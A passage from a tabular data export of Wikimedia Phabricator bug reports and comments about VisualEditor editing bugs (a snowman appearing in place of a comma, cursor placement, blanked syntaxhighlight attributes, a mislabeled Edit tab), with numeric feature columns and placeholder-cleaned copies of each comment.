**Severity**: major",High,80.0,1378013580,1380838919.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-dvolbemwppvolpsqeen5,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.5,0.5,4.0,3.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,11.5,1.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,6.5,1.5,7.5,2.0,1.5,8.5,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,3.5,2.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,2.0,0.0,0.0,1.0,3.597309573724668,0.7290356394129979,"I tried editing [[Fred Pittman]], including adding a comma after a link. The editor auto-added it to the link text, which wasn't what I wanted, so I selected the comma and clicked the remove-formatting button. This replaced the comma with a snowman. Woo!

I'd also say that the auto-link-addition heuristic is a little buggy if it includes commas, but that's maybe just me. :)

--------------------------
**Version**: unspecified
**Severity**: major"
255039,VisualEditor: Removing formatting from part of a link causes a snowman,This was fixed two weeks ago; sorry for the slowness in replying.,,,1380838919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvolbemwppvolpsqeen5,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.857142857142857,1.0,This was fixed two weeks ago; sorry for the slowness in replying.
55560,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","When adding a link from scratch (without marking an existing word first)  the cursor ends up being at the beginning of the new link rather than at its end -- which stops fluent typing.

Reproduce:
1. Go to an RTL wiki.
2. Go to a new sentence or new paragraph (cursor should be in an empty space)
3. Create link, followed by enter/enter to close the inspector
4. The cursor appears at the left of the word (which is the beginning in RTL) rather than the right of the word.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377807780,1377815727.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-tes2snxxrdfko3p2bzft,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,10.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,2.0,6.5,0.5,0.5,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.5,10.5,1.5,0.0,0.0,0.0,0.5,0.0,2.0,3.0,0.0,1.5,0.0,0.0,2.0,3.5116550116550114,0.7095571095571096,"When adding a link from scratch (without marking an existing word first)  the cursor ends up being at the beginning of the new link rather than at its end -- which stops fluent typing.

Reproduce:
1. Go to an RTL wiki.
2. Go to a new sentence or new paragraph (cursor should be in an empty space)
3. Create link, followed by enter/enter to close the inspector
4. The cursor appears at the left of the word (which is the beginning in RTL) rather than the right of the word.

--------------------------
**Version**: unspecified
**Severity**: normal"
249995,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","Change 81872 merged by jenkins-bot:
Cursor fix after link insertion

https://gerrit.wikimedia.org/r/81872",,,1377813415,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 81872 merged by jenkins-bot:
Cursor fix after link insertion

GERRIT_URL"
249994,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","Change 81872 had a related patch set uploaded by Jforrester:
Cursor fix after link insertion

https://gerrit.wikimedia.org/r/81872",,,1377812789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 81872 had a related patch set uploaded by Jforrester:
Cursor fix after link insertion

GERRIT_URL"
249991,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","This was actually not just for RTL wikis, and the submitted patch fixes the problem for both directions in Annotation Inspector (for both links and languages)",,,1377812736,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.586206896551724,0.8275862068965517,"This was actually not just for RTL wikis, and the submitted patch fixes the problem for both directions in Annotation Inspector (for both links and languages)"
55543,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"**Author:** `wojciech.r`

**Description:**
When I edit existing content in <source> tags, while editing it, error is shown about invalid language specified (lang=) and after saving it puts fragment of HTML code of this tag divs and entities into source of page and my code is broken.

https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&oldid=773552

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1377796560,1377958953.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ikc6bitfegyn4srxsl45,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,2.0,3.710843373493976,0.6626506024096386,"**Author:** CODE

**Description:**
When I edit existing content in <source> tags, while editing it, error is shown about invalid language specified (lang=) and after saving it puts fragment of HTML code of this tag divs and entities into source of page and my code is broken.

URL

--------------------------
**Version**: unspecified
**Severity**: major"
249251,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September. Sorry for the disruption.",,,1377958953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,22.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,0.9565217391304348,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September. Sorry for the disruption."
249244,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"Change 82063 merged by jenkins-bot:
Round trip alien extensions correctly when edited

https://gerrit.wikimedia.org/r/82063",,,1377909844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 82063 merged by jenkins-bot:
Round trip alien extensions correctly when edited

GERRIT_URL"
249239,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,This fix preserves attributes correctly. The above bug would allow you to edit them.,,,1377906465,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.4375,0.9375,This fix preserves attributes correctly. The above bug would allow you to edit them.
249235,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,Related bug 53614,,,1377906431,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Related bug 53614
249231,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"Change 82063 had a related patch set uploaded by Esanders:
Round trip alien extensions correctly when edited

https://gerrit.wikimedia.org/r/82063",,,1377905362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 82063 had a related patch set uploaded by Esanders:
Round trip alien extensions correctly when edited

GERRIT_URL"
55507,VisualEditor: Pressing up while next to an inline image throws an exception,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377729540,1377736943.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qgxcekjgfnhxpyipqdms,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
246922,VisualEditor: Pressing up while next to an inline image throws an exception,"Change 81596 merged by jenkins-bot:
Move contentEditable=false to protected node

https://gerrit.wikimedia.org/r/81596",,,1377732790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgxcekjgfnhxpyipqdms,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 81596 merged by jenkins-bot:
Move contentEditable=false to protected node

GERRIT_URL"
246919,VisualEditor: Pressing up while next to an inline image throws an exception,"Change 81596 had a related patch set uploaded by Esanders:
Move contentEditable=false to protected node

https://gerrit.wikimedia.org/r/81596",,,1377732192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgxcekjgfnhxpyipqdms,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,"Change 81596 had a related patch set uploaded by Esanders:
Move contentEditable=false to protected node

GERRIT_URL"
55477,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","For those with the rights to edit such pages (admins and those with EducationProgram-specific userrights), the Edit button on course pages and institution pages is mislabeled ""Create source"". (VE is not enabled in the Education Program: namespace, so it should remain simply ""Edit"".)

Example institution page:
http://en.wikipedia.org/wiki/Education_Program:University_of_Oklahoma

Example course page:
http://en.wikipedia.org/wiki/Education_Program:University_of_Oklahoma/History_of_Science_from_Antiquity_to_Newton_(Fall_2013)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377700800,1397705810.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,False,PHID-TASK-4lk6qpiuan7kbk6fch54,task_description,resolved,True,c1,3,False,False,False,8,,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,7.0,10.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.5888888888888889,"For those with the rights to edit such pages (admins and those with EducationProgram-specific userrights), the Edit button on course pages and institution pages is mislabeled ""Create source"". (VE is not enabled in the Education Program: namespace, so it should remain simply ""Edit"".)

Example institution page:
URL

Example course page:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
244684,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:

P.S. Go to a production wiki and try this in a js console:

mw.config.get('wgContentNamespaces')

The results coincide:

https://github.com/wikimedia/operations-mediawiki-config/blob/master/wmf-config/InitialiseSettings.php#L9292-9349

I lost the scent of $wgVisualEditorNamespaces following a brief pursuit, though...",,,1397734119,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,4.395833333333333,0.7708333333333334,"**andrew.green.df** wrote:

P.S. Go to a production wiki and try this in a js console:

mw.config.get('wgContentNamespaces')

The results coincide:

URL

I lost the scent of $wgVisualEditorNamespaces following a brief pursuit, though..."
244678,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:

Added a comment on the Gerrit change. tl;dr: Is $wgContentNamespaces getting checked? I don't see how EP_NS could be there, and checking it in js seems to fix the issue. Thanks!",,,1397732911,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,6.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,4.0,13.0,2.0,2.0,6.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,4.0,6.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.702127659574468,0.8723404255319149,"**andrew.green.df** wrote:

Added a comment on the Gerrit change. tl;dr: Is $wgContentNamespaces getting checked? I don't see how EP_NS could be there, and checking it in js seems to fix the issue. Thanks!"
244674,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Change 125233 merged by jenkins-bot:
Don't change tabs on Education Program pages

https://gerrit.wikimedia.org/r/125233",,,1397705933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 125233 merged by jenkins-bot:
Don't change tabs on Education Program pages

GERRIT_URL"
244670,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","(In reply to Andrew Green from comment #9)
> I can look into making the EP extension warn VE through some generic
> mechanism.

Ideally EP would warn VE through the existing generic mechanisms that Krinkle suggested; this would avoid VE having to have EP-specific code in it entirely. :-)


> BTW, I wouldn't recommend that anyone try to make major changes to the EP
> extension, as the plan is just to rewrite it.

Understood. 


> Alex's patch also looks like a fine temporary solution. :)

Alex's patch is necessarily a horrible hack, but yeah…",,,1397246077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,24.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,4.0,1.0,1.0,0.0,1.0,9.0,15.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.926470588235294,0.7941176470588235,"(In reply to Andrew Green from comment #9)
QUOTE
QUOTE

Ideally EP would warn VE through the existing generic mechanisms that Krinkle suggested; this would avoid VE having to have EP-specific code in it entirely. :-)


QUOTE
QUOTE

Understood. 


QUOTE

Alex's patch is necessarily a horrible hack, but yeah…"
244666,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:

I can look into making the EP extension warn VE through some generic mechanism. The bug is moderately important for users of the extension, and I imagine there's some way to do this without making major changes.

BTW, I wouldn't recommend that anyone try to make major changes to the EP extension, as the plan is just to rewrite it.

The issues Krinkle mentions are certainly valid. Alex's patch also looks like a fine temporary solution. :)",,,1397245474,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,2.0,1.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,5.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,11.0,1.0,1.0,10.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,12.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.020408163265306,0.7040816326530612,"**andrew.green.df** wrote:

I can look into making the EP extension warn VE through some generic mechanism. The bug is moderately important for users of the extension, and I imagine there's some way to do this without making major changes.

BTW, I wouldn't recommend that anyone try to make major changes to the EP extension, as the plan is just to rewrite it.

The issues Krinkle mentions are certainly valid. Alex's patch also looks like a fine temporary solution. :)"
244665,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","(In reply to Krinkle from comment #7)
> I'd say EP should either let us know how to generically detect it without
> being EP specific, or it should implement support to at least do one thing
> right. Possibly we could do the latter ourselves (maybe Alex is interested
> in patching EP).

I don't really think this bug is important enough to VE to justify making big changes to how another extension works...",,,1397243067,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,14.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7142857142857144,0.7857142857142857,"(In reply to Krinkle from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

I don't really think this bug is important enough to VE to justify making big changes to how another extension works..."
